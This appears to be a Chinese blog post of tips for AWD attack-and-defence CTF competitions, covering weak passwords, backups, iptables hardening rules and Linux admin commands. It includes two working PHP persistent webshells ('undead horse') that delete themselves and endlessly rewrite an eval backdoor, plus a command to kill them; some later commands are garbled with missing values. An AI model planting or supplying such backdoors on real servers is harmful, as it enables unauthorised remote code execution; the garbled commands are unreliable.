AWD集锦

前言

首先要尝试着去打AWD,不要不敢打,多打几遍就会打了,记得我第一次打的时候,Xshell就链了半个小时还没好,只有被动挨打的份,没有打别人的份!但这是成为大佬的必经之路。


弱口令

这个点是必须重视,基本每场比赛都有弱口令,有的还不止一个!所以我们要想办法去避免弱口令!


必须备份

这里必须备份!刚开始一直被打,所以直接全删,它就会扣你的分,所以我们不可以全删,不过我们是在一轮过后进行检测,或者实时检测!我们不能够删除文件,并且也不能够对代码进行注释!刚开始我删了代码,它给我扣分,我便重置了一次,扣了100分,所以必须要备份。并且备份是可以进行代码审计的!并且D盾和审计系统同时上线!并且是可能查到不死马的!

木马

不死马

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="4a6022980d219f045167102e13822389"){@eval($_REQUEST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5);
}
?>
#密码 fpu7jnvrd687sf168sdaf54fs8fv15as8fw
#文件名 .index.php  .DS_story
 
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    //file_put_contents(__FILE__,'');
    while(1){
        file_put_contents('path/webshell.php','<?php @eval($_POST["password"]);?>');
    }
?>

克制不死马

ps -aux|grep ‘www-data’|awk ‘{print $2}|xargs kill -9

常用命令

  1. 关闭所有网络端口,只开放一些比赛的必要端口,也可以防止后门的连接
#开放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#打开80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#开启多端口简单用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#允许外部访问本地多个端口 如808080818082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT
  1. 限制ssh登陆,进行访问控制
iptable -t filter -A INPUT -s 123.4.5.6 -p tcp --dport 22 -j DROP   //禁止从123.4.5.6远程登陆到本机
iptables -A INPUT -s 123.4.5.6/24 -p tcp --dport 22 -j ACCEPT  //允许123.4.5.6网段远程登陆访问ssh
  1. 限制IP连接数和连接速率
#单个IP的最大连接数为 30
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#单个IP在60秒内只允许最多新建15个连接
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#允许外部访问本机80端口,且本机初始只允许有10个连接,每秒新增加2个连接,如果访问超过此限制则拒接 (此方式可以限制一些攻击)
iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
  1. 数据包简单识别,防止端口复用类的后门或者shell
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEP
  1. 限制访问
iptable -t filter -A FORWARD -s 123.4.5.6 -d 123.4.5.7 -j DROP  //禁止从客户机123.4.5.6访问123.4.5.7上的任何服务
#封杀123.4.5.6这个IP或者某个ip段
iptables -I INPUT -s 123.4.5.6 -j DROP
iptables -I INPUT -s 123.4.5.1/24 -j DROP
  1. 过滤异常报文
iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN         #表示 SYN,FIN,ACK,RST的标识都检查,但只匹配SYN标识
iptables -A INPUT -p tcp --syn                         #匹配SYN标识位
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP       #检查所有的标识位,匹配到FIN URG PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP           #丢弃没标志位的包
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP #匹配到SYN ACK FIN URG的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST -j DROP      #匹配到SYN ACK FIN RST的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,PSH -j DROP      #匹配到SYN FIN PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST,PSH -j DROP    #匹配到SYN FIN RST PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP      #匹配到 SYN,RST的丢弃
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP       #匹配到 SYN,FIN的丢弃
  1. 防DDOS攻击
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
  -m limit: 启用limit扩展
  –limit 20/minute: 允许最多每分钟10个连接
  –limit-burst 100: 当达到100个连接后,才启用上述20/minute限制

丢弃陌生的TCP响应包,防止反弹式攻击

iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP

常常用用命令

ssh <-p 端口> 用户名@IP  
scp 文件路径  用户名@IP:存放路径    
tar -zcvf web.tar.gz /var/www/html/  
w     
pkill -kill -t <用户tty>     
ps aux | grep pid或者进程名    
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>  
kill - <PID>  
#封杀某个IP或者ip段,如:.  
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机,如123..  
iptable -t filter -A INPUT -s . -p tcp --dport  -j DROP  
#备份mysql数据库
mysqldump -u 用户名 -p 密码 数据库名 > back.sql    
mysqldump --all-databases > bak.sql      
#还原mysql数据库
mysql -u 用户名 -p 密码 数据库名 < bak.sql  
find / *.php -perm       
awk -F:  /etc/passwd    
crontab -l    
#检测所有的tcp连接数量及状态
netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d   | sort | uniq -c | sort -k  -r | head -  
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d   | sort | uniq -c | sort -k  -r | head - 
posted @ 2021-04-18 21:25  望权栈  阅读(20)  评论(0编辑  收藏  举报  来源